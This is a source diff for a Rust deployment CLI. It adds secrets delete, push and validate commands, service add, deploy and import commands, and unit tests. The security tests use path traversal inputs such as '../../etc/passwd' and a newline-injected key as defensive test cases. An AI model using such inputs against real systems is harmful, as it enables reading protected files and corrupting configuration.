━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// secrets delete +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker secrets delete KEY [--file .env]` +pub struct SecretsDeleteCommand { + mode: SecretsDeleteMode, +} + +#[derive(Debug)] +enum SecretsDeleteMode { + Local { + key: String, + file: Option, + }, + Remote { + key: String, + target: RemoteSecretTarget, + }, +} + +impl SecretsDeleteCommand { + pub fn new(key: String, file: Option) -> Self { + Self { + mode: SecretsDeleteMode::Local { key, file }, + } + } + + pub fn new_remote( + key: String, + scope: RemoteSecretScope, + project: Option, + service: Option, + server_id: Option, + ) -> Self { + Self { + mode: SecretsDeleteMode::Remote { + key, + target: RemoteSecretTarget::new(scope, project, service, server_id), + }, + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// secrets push +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker secrets push --service [--force] [--deployment ]` +pub struct SecretsPushCommand { + options: RemoteSecretPushOptions, +} + +impl SecretsPushCommand { + pub fn new( + project: Option, + service: String, + force: bool, + json: bool, + deployment: Option, + environment: Option, + ) -> Self { + Self { + options: RemoteSecretPushOptions { + target: RemoteSecretTarget::new( + RemoteSecretScope::Service, + project, + Some(service), + None, + ), + force, + json, + deployment, + environment, + }, + } + } +} + +impl CallableTrait for SecretsPushCommand { + fn call(&self) -> Result<(), Box> { + self.options.validate()?; + let operation = "remote secrets push"; + let ctx = CliRuntime::new(operation)?; + let project_ref = resolve_service_project_reference(self.options.target.project_ref())?; + let project = resolve_project(&ctx, &project_ref, operation)?; + let requested = self.options.target.service_code().ok_or_else(|| { + CliError::ConfigValidation("Service-scoped secrets require --service".to_string()) + })?; + let app_code = resolve_remote_service_code(&ctx, &project, requested, operation)?; + let deployment = match &self.options.deployment { + Some(deployment) if !deployment.trim().is_empty() => Some(deployment.clone()), + _ => { + let (_, hash) = ctx + .block_on(ctx.client.agent_snapshot_by_project(project.id)) + .map_err(|error| remap_remote_secret_error(operation, error))?; + Some(hash) + } + }; + + AgentDeployAppCommand::new( + app_code.clone(), + None, + self.options.force, + "runc".to_string(), + self.options.json, + deployment, + self.options.environment.clone(), + ) + .call()?; + + if !self.options.json { + println!( + "✓ Pushed stored remote secrets to runtime env for {}", + app_code + ); + } + + Ok(()) + } +} + +impl CallableTrait for SecretsDeleteCommand { + fn call(&self) -> Result<(), Box> { + match &self.mode { + SecretsDeleteMode::Local { key, file } => { + let env_path = resolve_env_path(file.as_deref())?; + + if !env_path.exists() { + return Err(Box::new(CliError::EnvFileNotFound { path: env_path })); + } + + let lines = read_env_lines(&env_path)?; + let before_len = lines.len(); + let filtered: Vec = lines + .into_iter() + .filter(|line| { + if let Some((k, _)) = parse_env_line(line) { + k != *key + } else { + true + } + }) + .collect(); + + if filtered.len() == before_len { + return Err(Box::new(CliError::SecretKeyNotFound { key: key.clone() })); + } + + write_env_lines(&env_path, &filtered)?; + println!("✓ Deleted {} from {}", key, env_path.display()); + Ok(()) + } + SecretsDeleteMode::Remote { key, target } => { + validate_secret_name(key)?; + target.validate()?; + let operation = "remote secrets delete"; + let ctx = CliRuntime::new("remote secrets delete")?; + let server_id_from_lock = || resolve_server_id_from_lock(&ctx); + + match target.scope { + RemoteSecretScope::Service => { + let project_ref = resolve_service_project_reference(target.project_ref())?; + let project = resolve_project(&ctx, &project_ref, operation)?; + let app_code = target.service_code().ok_or_else(|| { + CliError::ConfigValidation( + "Service-scoped secrets require --service".to_string(), + ) + })?; + let app_code = + resolve_remote_service_code(&ctx, &project, app_code, operation)?; + ctx.block_on(ctx.client.delete_service_secret(project.id, &app_code, key)) + .map_err(|error| remap_remote_secret_error(operation, error))?; + println!("✓ Deleted service secret {} from {}", key, app_code); + } + RemoteSecretScope::Server => { + let server_id = + target.server_id().map_or_else(server_id_from_lock, Ok)?; + ctx.block_on(ctx.client.delete_server_secret(server_id, key)) + .map_err(|error| remap_remote_secret_error(operation, error))?; + println!("✓ Deleted server secret {} from server {}", key, server_id); + } + } + + Ok(()) + } + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// secrets validate +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker secrets validate [--file stacker.yml]` +/// +/// Scans `stacker.yml` for `${VAR}` references and checks that every +/// referenced variable is present in the `.env` file or the current +/// environment. +pub struct SecretsValidateCommand { + pub file: Option, +} + +impl SecretsValidateCommand { + pub fn new(file: Option) -> Self { + Self { file } + } +} + +impl CallableTrait for SecretsValidateCommand { + fn call(&self) -> Result<(), Box> { + let config_path = self.file.as_deref().unwrap_or(DEFAULT_CONFIG_FILE); + let path = Path::new(config_path); + + if !path.exists() { + return Err(Box::new(CliError::ConfigNotFound { + path: path.to_path_buf(), + })); + } + + let raw = std::fs::read_to_string(path)?; + + // Collect all ${VAR} references + let re = regex::Regex::new(r"\$\{([A-Za-z_][A-Za-z0-9_]*)\}").unwrap(); + let refs: Vec = re + .captures_iter(&raw) + .map(|cap| cap[1].to_string()) + .collect::>() + .into_iter() + .collect(); + + if refs.is_empty() { + println!("✓ No environment variable references found in {config_path}"); + return Ok(()); + } + + // Load .env file values + let env_path = resolve_env_path(None)?; + let env_lines = read_env_lines(&env_path).unwrap_or_default(); + let mut env_map = std::collections::HashMap::new(); + for line in &env_lines { + if let Some((k, v)) = parse_env_line(line) { + env_map.insert(k, v); + } + } + + let mut missing: Vec = Vec::new(); + let mut found: Vec = Vec::new(); + + for var in &refs { + if env_map.contains_key(var.as_str()) || std::env::var(var).is_ok() { + found.push(var.clone()); + } else { + missing.push(var.clone()); + } + } + + // Sort for deterministic output + found.sort(); + missing.sort(); + + for var in &found { + println!(" ✓ {var}"); + } + for var in &missing { + eprintln!(" ✗ {var} (not set)"); + } + + if missing.is_empty() { + println!(); + println!("✓ All {} variable(s) are set", refs.len()); + Ok(()) + } else { + Err(Box::new(CliError::ConfigValidation(format!( + "{} variable(s) referenced in {config_path} are not set: {}", + missing.len(), + missing.join(", ") + )))) + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Security tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + fn project_app_info(id: i32, code: &str) -> ProjectAppInfo { + ProjectAppInfo { + id, + project_id: 7, + code: code.to_string(), + name: code.to_string(), + image: "nginx:stable".to_string(), + enabled: true, + deploy_order: None, + parent_app_code: None, + } + } + + fn service_definition(name: &str) -> ServiceDefinition { + ServiceDefinition { + name: name.to_string(), + image: "optimum/syncopia-upload:latest".to_string(), + ports: vec!["8000:8000".to_string()], + environment: std::collections::HashMap::from([( + "RUST_LOG".to_string(), + "info".to_string(), + )]), + volumes: vec!["upload-data:/data".to_string()], + depends_on: vec!["postgres".to_string()], + } + } + + #[test] + fn test_service_registration_request_maps_local_service() { + let service = service_definition("upload"); + let request = service_registration_request(&service, Some("deployment_abc".to_string())); + + assert_eq!(request.code, "upload"); + assert_eq!(request.name.as_deref(), Some("upload")); + assert_eq!(request.image, "optimum/syncopia-upload:latest"); + assert_eq!(request.enabled, Some(true)); + assert_eq!(request.deployment_hash.as_deref(), Some("deployment_abc")); + assert_eq!( + request.env.unwrap(), + serde_json::json!({"RUST_LOG": "info"}) + ); + assert_eq!(request.ports.unwrap(), serde_json::json!(["8000:8000"])); + assert_eq!( + request.volumes.unwrap(), + serde_json::json!(["upload-data:/data"]) + ); + assert_eq!(request.depends_on.unwrap(), serde_json::json!(["postgres"])); + } + + #[test] + fn test_find_local_service_matches_case_insensitively() { + let config = StackerConfig { + name: "syncopia".to_string(), + version: None, + organization: None, + project: Default::default(), + app: Default::default(), + services: vec![service_definition("upload")], + proxy: Default::default(), + deploy: Default::default(), + environments: Default::default(), + ai: Default::default(), + monitoring: Default::default(), + hooks: Default::default(), + env_file: None, + env: Default::default(), + config_contract: Default::default(), + }; + + assert_eq!( + find_local_service(&config, "UPLOAD").map(|service| service.name.as_str()), + Some("upload") + ); + } + + // ── SECURITY: Path traversal via --file flag ────── + // CWE-22: Improper Limitation of a Pathname to a Restricted Directory + // + // The --file flag accepts arbitrary paths. An attacker could read or + // write files outside the project directory using `../../etc/crontab` + // style paths. The resolve_env_path function does not sanitize paths. + + #[test] + fn test_resolve_env_path_rejects_path_traversal() { + let result = resolve_env_path(Some("../../etc/passwd")); + assert!(result.is_err(), "Path traversal must be rejected"); + } + + #[test] + fn test_resolve_env_path_allows_absolute_path_without_traversal() { + let result = resolve_env_path(Some("/etc/passwd")); + assert!( + result.is_ok(), + "Absolute paths without traversal are allowed" + ); + } + + #[test] + fn test_resolve_env_path_accepts_relative_safe_path() { + let result = resolve_env_path(Some("config/.env")); + assert!(result.is_ok()); + assert_eq!(result.unwrap(), PathBuf::from("config/.env")); + } + + // ── SECURITY: Env file has no restricted permissions ── + // CWE-732: Incorrect Permission Assignment for Critical Resource + // + // The .env file may contain secrets but write_env_lines does not + // set restrictive file permissions (unlike credentials.json which + // correctly sets 0o600). + + #[test] + #[cfg(unix)] + fn test_env_file_permissions_are_restricted() { + use std::os::unix::fs::PermissionsExt; + + let dir = TempDir::new().unwrap(); + let env_path = dir.path().join(".env"); + let lines = vec!["DB_PASSWORD=supersecret".to_string()]; + write_env_lines(&env_path, &lines).unwrap(); + + let perms = std::fs::metadata(&env_path).unwrap().permissions(); + let mode = perms.mode() & 0o777; + assert_eq!( + mode, 0o600, + "Env file containing secrets must have 0o600 permissions" + ); + } + + // ── SECURITY: Key validation ────────────────────── + // CWE-20: Improper Input Validation + // + // Secret keys can contain newlines or equals signs that break .env parsing. + + #[test] + fn test_secrets_set_rejects_empty_key() { + let dir = TempDir::new().unwrap(); + let env_path = dir.path().join(".env"); + let cmd = SecretsSetCommand::new( + "=value".to_string(), + Some(env_path.to_string_lossy().to_string()), + ); + let result = cmd.call(); + assert!(result.is_err(), "Expected error for empty key"); + } + + #[test] + fn test_secrets_set_key_with_newline_is_rejected() { + let dir = TempDir::new().unwrap(); + let env_path = dir.path().join(".env"); + let cmd = SecretsSetCommand::new( + "LEGIT\nMALICIOUS_KEY=injected".to_string(), + Some(env_path.to_string_lossy().to_string()), + ); + let result = cmd.call(); + assert!(result.is_err(), "Keys with newlines must be rejected"); + } + + #[test] + fn test_secrets_set_key_with_spaces_is_rejected() { + let dir = TempDir::new().unwrap(); + let env_path = dir.path().join(".env"); + let cmd = SecretsSetCommand::new( + "BAD KEY=value".to_string(), + Some(env_path.to_string_lossy().to_string()), + ); + let result = cmd.call(); + assert!(result.is_err(), "Keys with spaces must be rejected"); + } + + #[test] + fn test_secrets_set_valid_key_accepted() { + let dir = TempDir::new().unwrap(); + let env_path = dir.path().join(".env"); + let cmd = SecretsSetCommand::new( + "_MY_VAR_123=value".to_string(), + Some(env_path.to_string_lossy().to_string()), + ); + let result = cmd.call(); + assert!(result.is_ok(), "Valid env key must be accepted"); + } + + // ── SECURITY: Value parsing edge cases ──────────── + // CWE-20: Improper Input Validation + + #[test] + fn test_parse_env_line_basic() { + let (k, v) = parse_env_line("FOO=bar").unwrap(); + assert_eq!(k, "FOO"); + assert_eq!(v, "bar"); + } + + #[test] + fn test_parse_env_line_quoted() { + let (k, v) = parse_env_line("FOO=\"bar baz\"").unwrap(); + assert_eq!(k, "FOO"); + assert_eq!(v, "bar baz"); + } + + #[test] + fn test_parse_env_line_single_quoted() { + let (k, v) = parse_env_line("FOO='bar baz'").unwrap(); + assert_eq!(k, "FOO"); + assert_eq!(v, "bar baz"); + } + + #[test] + fn test_parse_env_line_comment() { + assert!(parse_env_line("# this is a comment").is_none()); + } + + #[test] + fn test_parse_env_line_empty() { + assert!(parse_env_line("").is_none()); + } + + #[test] + fn test_parse_env_line_no_equals() { + assert!(parse_env_line("JUST_A_KEY").is_none()); + } + + #[test] + fn test_parse_env_line_value_with_equals() { + let (k, v) = parse_env_line("FOO=bar=baz").unwrap(); + assert_eq!(k, "FOO"); + assert_eq!(v, "bar=baz"); + } + + // ── Round-trip tests ────────────────────────────── + + #[test] + fn test_write_and_read_env_lines() { + let dir = TempDir::new().unwrap(); + let path = dir.path().join(".env"); + let lines = vec!["FOO=bar".to_string(), "BAZ=qux".to_string()]; + write_env_lines(&path, &lines).unwrap(); + let read = read_env_lines(&path).unwrap(); + assert_eq!(read, vec!["FOO=bar", "BAZ=qux"]); + } + + #[test] + fn test_read_env_lines_nonexistent() { + let dir = TempDir::new().unwrap(); + let path = dir.path().join("does-not-exist"); + let lines = read_env_lines(&path).unwrap(); + assert!(lines.is_empty()); + } + + // ── Functional secrets tests ────────────────────── + + #[test] + fn test_secrets_set_and_get() { + let dir = TempDir::new().unwrap(); + let env_path = dir.path().join(".env"); + + let set_cmd = SecretsSetCommand::new( + "MY_SECRET=hello123".to_string(), + Some(env_path.to_string_lossy().to_string()), + ); + set_cmd.call().unwrap(); + + // Verify the file was written + let content = std::fs::read_to_string(&env_path).unwrap(); + assert!(content.contains("MY_SECRET=hello123")); + } + + #[test] + fn test_secrets_set_updates_existing_key() { + let dir = TempDir::new().unwrap(); + let env_path = dir.path().join(".env"); + std::fs::write(&env_path, "MY_KEY=old_value\nOTHER=keep\n").unwrap(); + + let cmd = SecretsSetCommand::new( + "MY_KEY=new_value".to_string(), + Some(env_path.to_string_lossy().to_string()), + ); + cmd.call().unwrap(); + + let content = std::fs::read_to_string(&env_path).unwrap(); + assert!(content.contains("MY_KEY=new_value")); + assert!(!content.contains("old_value")); + assert!(content.contains("OTHER=keep")); + } + + #[test] + fn test_secrets_delete_removes_key() { + let dir = TempDir::new().unwrap(); + let env_path = dir.path().join(".env"); + std::fs::write(&env_path, "KEEP=yes\nDELETE_ME=gone\n").unwrap(); + + let cmd = SecretsDeleteCommand::new( + "DELETE_ME".to_string(), + Some(env_path.to_string_lossy().to_string()), + ); + cmd.call().unwrap(); + + let content = std::fs::read_to_string(&env_path).unwrap(); + assert!(!content.contains("DELETE_ME")); + assert!(content.contains("KEEP=yes")); + } + + #[test] + fn test_secrets_delete_nonexistent_key_errors() { + let dir = TempDir::new().unwrap(); + let env_path = dir.path().join(".env"); + std::fs::write(&env_path, "FOO=bar\n").unwrap(); + + let cmd = SecretsDeleteCommand::new( + "NONEXISTENT".to_string(), + Some(env_path.to_string_lossy().to_string()), + ); + let result = cmd.call(); + assert!(result.is_err()); + } + + #[test] + fn test_remote_service_target_allows_project_to_be_resolved_later() { + let target = RemoteSecretTarget::new( + RemoteSecretScope::Service, + None, + Some("web".to_string()), + None, + ); + + target.validate().unwrap(); + } + + #[test] + fn test_remote_service_target_requires_service() { + let target = RemoteSecretTarget::new( + RemoteSecretScope::Service, + Some("project-1".to_string()), + None, + None, + ); + + let error = target.validate().unwrap_err().to_string(); + assert!(error.contains("--service")); + } + + #[test] + fn test_remote_server_target_rejects_project_and_service() { + let target = RemoteSecretTarget::new( + RemoteSecretScope::Server, + Some("project-1".to_string()), + Some("web".to_string()), + Some(42), + ); + + let error = target.validate().unwrap_err().to_string(); + assert!(error.contains("--project or --service")); + } + + #[test] + fn test_remote_server_target_requires_server_id() { + let target = RemoteSecretTarget::new(RemoteSecretScope::Server, None, None, None); + + let error = target.validate().unwrap_err().to_string(); + assert!(error.contains("--server-id")); + } + + #[test] + fn test_remote_set_debug_redacts_inline_secret_value() { + let options = RemoteSecretWriteOptions { + name: "NPM_TOKEN".to_string(), + target: RemoteSecretTarget::new(RemoteSecretScope::Server, None, None, Some(42)), + body: Some("supersecret".to_string()), + body_file: None, + }; + + let debug_output = format!("{options:?}"); + assert!(!debug_output.contains("supersecret")); + assert!(debug_output.contains("[REDACTED]")); + } + + #[test] + fn test_remote_set_resolves_inline_secret_value() { + let options = RemoteSecretWriteOptions { + name: "NPM_TOKEN".to_string(), + target: RemoteSecretTarget::new(RemoteSecretScope::Server, None, None, Some(42)), + body: Some("supersecret".to_string()), + body_file: None, + }; + + assert_eq!( + resolve_remote_secret_value(&options).unwrap(), + "supersecret" + ); + } + + #[test] + fn test_remote_set_validates_scope_before_runtime_execution() { + let options = RemoteSecretWriteOptions { + name: "NPM_TOKEN".to_string(), + target: RemoteSecretTarget::new( + RemoteSecretScope::Server, + Some("project-1".to_string()), + None, + Some(42), + ), + body: Some("supersecret".to_string()), + body_file: None, + }; + + let error = options.validate().unwrap_err().to_string(); + assert!(error.contains("--project or --service")); + } + + #[test] + fn test_remote_command_constructor_keeps_scope_metadata() { + let command = SecretsSetCommand::new_remote( + "NPM_TOKEN".to_string(), + RemoteSecretScope::Server, + None, + None, + Some(42), + Some("supersecret".to_string()), + None, + ); + + match command.mode { + SecretsSetMode::Remote(options) => { + assert_eq!(options.target.scope, RemoteSecretScope::Server); + assert_eq!(options.target.server_id, Some(42)); + } + SecretsSetMode::Local { .. } => panic!("expected remote command mode"), + } + } + + #[test] + fn test_remote_secret_error_remaps_deploy_failed_context() { + let error = remap_remote_secret_error( + "remote secrets list", + CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: "Stacker server GET /project/1/apps/web/secrets failed (403):".to_string(), + }, + ); + + let rendered = error.to_string(); + assert!(rendered.contains("remote secrets list failed")); + assert!(!rendered.contains("Deployment to cloud failed")); + } + + #[test] + fn test_project_app_codes_extracts_declared_web_codes() { + let project = ProjectInfo { + id: 7, + name: "syncopia".to_string(), + user_id: "user-1".to_string(), + metadata: serde_json::json!({ + "custom": { + "web": [ + {"code": "app"}, + {"code": "device-apis"}, + {"code": "upload"} + ] + } + }), + created_at: "2026-01-01T00:00:00Z".to_string(), + updated_at: "2026-01-01T00:00:00Z".to_string(), + }; + + assert_eq!( + project_app_codes(&project), + vec![ + "app".to_string(), + "device-apis".to_string(), + "upload".to_string() + ] + ); + } + + #[test] + fn test_resolve_remote_service_code_matches_case_insensitively() { + let apps = vec![project_app_info(1, "device-apis")]; + + assert_eq!( + resolve_remote_service_code_from_apps("syncopia", &apps, "Device-APIs").unwrap(), + "device-apis" + ); + } + + #[test] + fn test_resolve_remote_service_code_reports_available_codes() { + let apps = vec![ + project_app_info(1, "app"), + project_app_info(2, "device-apis"), + ]; + + let error = resolve_remote_service_code_from_apps("syncopia", &apps, "device-api") + .unwrap_err() + .to_string(); + assert!(error.contains("Available targets: app, device-apis")); + } + + #[test] + fn test_scn_001_remote_target_resolution_accepts_registered_service_code() { + let apps = vec![project_app_info(2, "upload")]; + + let resolved = resolve_remote_service_code_from_apps("syncopia", &apps, "UPLOAD").unwrap(); + + assert_eq!(resolved, "upload"); + } + + #[test] + fn test_scn_007_unknown_remote_target_error_lists_available_targets() { + let apps = vec![ + project_app_info(1, "device-api"), + project_app_info(2, "upload"), + ]; + + let error = resolve_remote_service_code_from_apps("syncopia", &apps, "media") + .unwrap_err() + .to_string(); + + assert!(error.contains("Unknown remote secret target 'media'")); + assert!(error.contains("Available targets: device-api, upload")); + assert!(error.contains("stacker deploy --target")); + } + + #[test] + fn test_print_project_app_list_renders_empty_state() { + print_project_app_list(&[], false).unwrap(); + } + + #[test] + fn test_resolve_service_project_reference_prefers_explicit_flag() { + assert_eq!( + resolve_service_project_reference(Some("syncopia")).unwrap(), + "syncopia" + ); + } + + #[test] + fn test_resolve_service_project_reference_uses_stacker_yml_project_identity() { + let dir = TempDir::new().unwrap(); + let config_path = dir.path().join("stacker.yml"); + std::fs::write( + &config_path, + r#" +name: syncopia +project: + identity: remote-syncopia +app: + type: custom + path: . +deploy: + target: local +"#, + ) + .unwrap(); + + assert_eq!( + resolve_service_project_reference_with_config(None, &config_path).unwrap(), + "remote-syncopia" + ); + } + + #[test] + fn test_resolve_service_project_reference_errors_without_flag_or_config_identity() { + let dir = TempDir::new().unwrap(); + let config_path = dir.path().join("stacker.yml"); + std::fs::write( + &config_path, + r#" +name: syncopia +app: + type: custom + path: . +deploy: + target: local +"#, + ) + .unwrap(); + + let error = resolve_service_project_reference_with_config(None, &config_path) + .unwrap_err() + .to_string(); + assert!(error.contains("project.identity")); + } +} diff --git a/stacker/stacker/src/console/commands/cli/service.rs b/stacker/stacker/src/console/commands/cli/service.rs new file mode 100644 index 0000000..e398505 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/service.rs @@ -0,0 +1,925 @@ +//! Service management commands — add services from templates to stacker.yml. +//! +//! `stacker service add ` resolves a service template from the catalog +//! (hardcoded or marketplace API) and appends it to the `services` section of +//! `stacker.yml`. +//! +//! `stacker service list [--online]` shows available service templates. + +use std::path::{Path, PathBuf}; + +use crate::cli::compose_service_sync::{ + sync_configured_compose_services, ComposeServiceSyncResult, +}; +use crate::cli::config_parser::{ServiceDefinition, StackerConfig}; +use crate::cli::credentials::CredentialsManager; +use crate::cli::error::CliError; +use crate::cli::service_catalog::ServiceCatalog; +use crate::cli::service_import::{ + import_plan_from_compose_file, parse_renames, ComposeImportRequest, ServiceImportPlan, + ServiceImportReview, +}; +use crate::cli::stacker_client::{self, StackerClient}; +use crate::console::commands::CallableTrait; +use dialoguer::{Confirm, FuzzySelect}; +use serde::Serialize; + +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// service add +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker service add [--file ]` +/// +/// Resolves a service template (e.g. "postgres", "redis", "wordpress") and +/// appends it to the `services` array in stacker.yml. +pub struct ServiceAddCommand { + pub name: Option, + pub file: Option, +} + +impl ServiceAddCommand { + pub fn new(name: Option, file: Option) -> Self { + Self { name, file } + } +} + +impl CallableTrait for ServiceAddCommand { + fn call(&self) -> Result<(), Box> { + let config_path = self.file.as_deref().unwrap_or(DEFAULT_CONFIG_FILE); + let path = Path::new(config_path); + + if !path.exists() { + return Err(Box::new(CliError::ConfigNotFound { + path: path.to_path_buf(), + })); + } + + // Load existing config without resolving ${VAR} placeholders so + // that sensitive values from .env are not written back to the file. + let mut config = StackerConfig::from_file_raw(path)?; + + // Resolve name — either from arg or interactive fuzzy picker + let chosen_name = match &self.name { + Some(n) => n.clone(), + None => { + let catalog = ServiceCatalog::offline(); + let entries = catalog.list_available(); + let display: Vec = entries + .iter() + .map(|e| format!("{:<22} [{:<10}] {}", e.code, e.category, e.description)) + .collect(); + let idx = FuzzySelect::new() + .with_prompt("Select a service to add") + .items(&display) + .default(0) + .interact() + .map_err(|e| CliError::ConfigValidation(format!("Picker error: {}", e)))?; + entries[idx].code.clone() + } + }; + + // Resolve canonical name + let canonical = ServiceCatalog::resolve_alias(&chosen_name); + + // Check for duplicates + if config.services.iter().any(|s| s.name == canonical) { + eprintln!( + "⚠ Service '{}' already exists in {}. Skipping.", + canonical, config_path + ); + return Ok(()); + } + + // Try to create a catalog with online access, fall back to offline + let catalog = match try_build_online_catalog() { + Some(client) => ServiceCatalog::new(Some(client)), + None => ServiceCatalog::offline(), + }; + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)) + })?; + + let entry = rt.block_on(catalog.resolve(&canonical))?; + + // Check if the service has dependencies that are missing + let mut services_to_add: Vec = Vec::new(); + for dep in &entry.service.depends_on { + if !config.services.iter().any(|s| &s.name == dep) { + // Try to resolve the dependency too + if let Ok(dep_entry) = rt.block_on(catalog.resolve(dep)) { + eprintln!( + " + Adding dependency: {} ({})", + dep_entry.name, dep_entry.service.image + ); + services_to_add.push(dep_entry.service); + } + } + } + + // Add dependencies first, then the requested service + for dep_svc in services_to_add { + config.services.push(dep_svc); + } + config.services.push(entry.service.clone()); + + // Serialize back to YAML + let yaml = serde_yaml::to_string(&config).map_err(|e| { + CliError::ConfigValidation(format!("Failed to serialize config: {}", e)) + })?; + + // Backup and write + let backup_path = format!("{}.bak", config_path); + std::fs::copy(config_path, &backup_path)?; + std::fs::write(config_path, &yaml)?; + let compose_sync = sync_configured_compose_services( + &project_dir_for_config(path), + &config, + std::slice::from_ref(&entry.service.name), + )?; + + println!("✓ Added '{}' to {}", entry.name, config_path); + println!(" Image: {}", entry.service.image); + if !entry.service.ports.is_empty() { + println!(" Ports: {}", entry.service.ports.join(", ")); + } + if !entry.service.volumes.is_empty() { + println!(" Volumes: {}", entry.service.volumes.join(", ")); + } + if !entry.service.environment.is_empty() { + println!( + " Env vars: {}", + entry + .service + .environment + .keys() + .cloned() + .collect::>() + .join(", ") + ); + } + if !entry.related.is_empty() { + let missing_related: Vec<&str> = entry + .related + .iter() + .filter(|r| !config.services.iter().any(|s| &s.name == *r)) + .map(|r| r.as_str()) + .collect(); + if !missing_related.is_empty() { + eprintln!(); + eprintln!( + " 💡 Related services you might also want: {}", + missing_related.join(", ") + ); + } + } + + eprintln!(" Backup saved to {}", backup_path); + print_compose_sync_result(&compose_sync); + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// service deploy +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker service deploy [--deployment ]` +/// +/// Validates that the named service exists in `stacker.yml`, then delegates to +/// the lower-level agent app deployment command using the service name as the +/// remote app code. +pub struct ServiceDeployCommand { + pub name: String, + pub force: bool, + pub runtime: String, + pub json: bool, + pub deployment: Option, + pub environment: Option, + pub plan: bool, + pub apply_plan: Option, +} + +impl ServiceDeployCommand { + #[allow(clippy::too_many_arguments)] + pub fn new( + name: String, + force: bool, + runtime: String, + json: bool, + deployment: Option, + environment: Option, + plan: bool, + apply_plan: Option, + ) -> Self { + Self { + name, + force, + runtime, + json, + deployment, + environment, + plan, + apply_plan, + } + } +} + +impl CallableTrait for ServiceDeployCommand { + fn call(&self) -> Result<(), Box> { + let config_path = DEFAULT_CONFIG_FILE; + let path = Path::new(config_path); + + if !path.exists() { + return Err(Box::new(CliError::ConfigNotFound { + path: path.to_path_buf(), + })); + } + + let config = StackerConfig::from_file_raw(path)?; + if !config + .services + .iter() + .any(|service| service.name == self.name) + { + return Err(Box::new(CliError::ConfigValidation(format!( + "Service '{}' was not found in {}. Add or import it first, then run `stacker service deploy {}`.", + self.name, config_path, self.name + )))); + } + + let compose_sync = sync_configured_compose_services( + &project_dir_for_config(path), + &config, + std::slice::from_ref(&self.name), + )?; + print_compose_sync_result(&compose_sync); + + let environment = self.environment.clone().or_else(|| { + if config.selected_environment(None).is_none() && config.deploy.compose_file.is_some() { + eprintln!( + " No deploy environment configured; using 'production' to build the service compose payload." + ); + Some("production".to_string()) + } else { + None + } + }); + + let command = crate::console::commands::cli::agent::AgentDeployAppCommand::new( + self.name.clone(), + None, + self.force, + self.runtime.clone(), + self.json, + self.deployment.clone(), + environment, + ) + .with_plan(self.plan) + .with_apply_plan(self.apply_plan.clone()); + + command.call() + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// service import +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker service import --from-compose [--service ]` +/// +/// Parses a local Docker Compose file, prints a safety review, and appends +/// selected image-backed services to `stacker.yml` only after confirmation. +pub struct ServiceImportCommand { + pub name: String, + pub from_compose: Option, + pub from_github: Option, + pub from_url: Option, + pub service: Option, + pub renames: Vec, + pub file: Option, + pub review: bool, + pub yes: bool, + pub json: bool, +} + +impl ServiceImportCommand { + #[allow(clippy::too_many_arguments)] + pub fn new( + name: String, + from_compose: Option, + from_github: Option, + from_url: Option, + service: Option, + renames: Vec, + file: Option, + review: bool, + yes: bool, + json: bool, + ) -> Self { + Self { + name, + from_compose, + from_github, + from_url, + service, + renames, + file, + review, + yes, + json, + } + } +} + +impl CallableTrait for ServiceImportCommand { + fn call(&self) -> Result<(), Box> { + let config_path = self.file.as_deref().unwrap_or(DEFAULT_CONFIG_FILE); + let path = Path::new(config_path); + + if self.from_github.is_some() || self.from_url.is_some() { + return Err(Box::new(CliError::ConfigValidation( + "Remote custom service import is planned but not implemented yet. Download or inspect the Compose file yourself, then run `stacker service import --from-compose --review`." + .to_string(), + ))); + } + + let compose_path = self.from_compose.as_ref().ok_or_else(|| { + CliError::ConfigValidation( + "Specify a local Compose file with --from-compose . Remote GitHub/URL import is not fetched by default." + .to_string(), + ) + })?; + + if !path.exists() { + return Err(Box::new(CliError::ConfigNotFound { + path: path.to_path_buf(), + })); + } + + let renames = parse_renames(&self.renames)?; + let request = ComposeImportRequest { + import_name: self.name.clone(), + selected_service: self.service.clone(), + renames, + }; + let plan = import_plan_from_compose_file(compose_path, &request)?; + let config = StackerConfig::from_file_raw(path)?; + validate_no_duplicate_services(&config, &plan)?; + + if self.json && self.review { + let output = ServiceImportCommandOutput { + status: "review", + config_file: config_path.to_string(), + backup_file: None, + review: &plan.review, + imported_services: plan + .services + .iter() + .map(|service| service.name.clone()) + .collect(), + }; + println!("{}", serde_json::to_string_pretty(&output)?); + } else if !self.json { + print_import_plan(&plan); + } + + if self.review { + return Ok(()); + } + + if !self.yes { + let confirmed = Confirm::new() + .with_prompt(format!( + "Import {} service(s) into {}?", + plan.services.len(), + config_path + )) + .default(false) + .interact() + .map_err(|e| { + CliError::ConfigValidation(format!( + "Prompt failed: {e}. 